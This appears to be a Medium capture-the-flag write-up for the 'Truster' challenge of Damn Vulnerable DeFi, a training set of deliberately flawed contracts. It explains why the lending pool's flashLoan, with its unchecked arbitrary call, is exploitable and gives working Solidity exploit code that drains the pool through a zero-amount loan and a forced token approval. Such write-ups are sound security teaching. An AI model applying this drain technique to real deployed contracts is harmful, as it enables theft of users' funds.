Damn Vulnerable DeFi Challenge #3 Solution — Truster

Challenge #3 — Truster

The attacker end goal

Study the contracts

  • borrowAmount: the number of tokens to send to the borrower address
  • borrower: the address that is borrowing the tokens and that will receive the amount of token borrowed
  • target: the address of the contract on which the OpenZeppelin Address.functionCall will be executed on
  • data: the byte payload that will be used to Address.functionCall
  • The function has nonReentrant function modifier, so we can assume that is not prone to reentrancy attacks
  • it’s not checking the borrower or target address
  • It’s not checking that the borrowAmount is 0
  • Is checking that the balance of the pool has at least borrowAmount tokens
  • Transfer the borrowAmount to the borrower address
  • Execute a functionCall with data as parameter on the target address
  • And at the end, verify that the final balance of the contract is greater than the starting balance
  • steal funds using reentrancy
  • steal funds directly because it will check at the end if we have sent back all the funds
  • it’s not checking that the borrowAmount is zero
  • it’s not checking the borrower or target address
  • and it’s executing an external call to the target address passing an arbitrary data payload to it
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);

Solution code

  • spender = attacker address
  • amount = the balance of the lending pool
  • Call the flashLoan function asking to borrow 0 token, so we will not need to pay back anything. This is important because the attacker does not own any DVT token.
  • Call the flashLoan with target as the DVT token address to execute the call method on the Token contract itself
  • Construct the data payload to make the TrusterLenderPool to call the DVT approve method bytes memory data = abi.encodeWithSignature(“approve(address,uint256)”, attacker, poolBalance);
function exploit() internal override {
/** CODE YOUR EXPLOIT HERE */
uint256 poolBalance = token.balanceOf(address(pool));// Act as the attacker
vm.prank(attacker);
// make the pool approve the attacker to manage the whole pool balance while taking a free loan
bytes memory attackCallData = abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance);
pool.flashLoan(0, attacker, address(token), attackCallData);
// now steal all the funds
vm.prank(attacker);
token.transferFrom(address(pool), attacker, poolBalance);
}

Disclaimer

--

--

--

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Do not miss Charlie Shrem interview with Brittany Kaiser — My quick review

{UPDATE} Modern Play Football 2015 Hack Free Resources Generator

What email providers can do to reduce the impact of email leaks

Do Avast Programs Spy on their Users?

{UPDATE} 4 Gewinnt • Klassische Brettspiele Hack Free Resources Generator

🚀 SAFELOGIC IS LISTED ON PANCAKESWAP 🚀

Microsoft Broke My Computer. I can’t even pay them to fix it. (LTSC)

What is session hijacking and how you can stop it

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden

More from Medium

Damn Vulnerable DeFi Challenge #5 Solution — Side entrance

Introducing Smart Contract Security Testing Guide

Solidity Smart Contract Security By Example #04: Cross-Function Reentrancy

Auditing Reference: How To Audit Your Dapp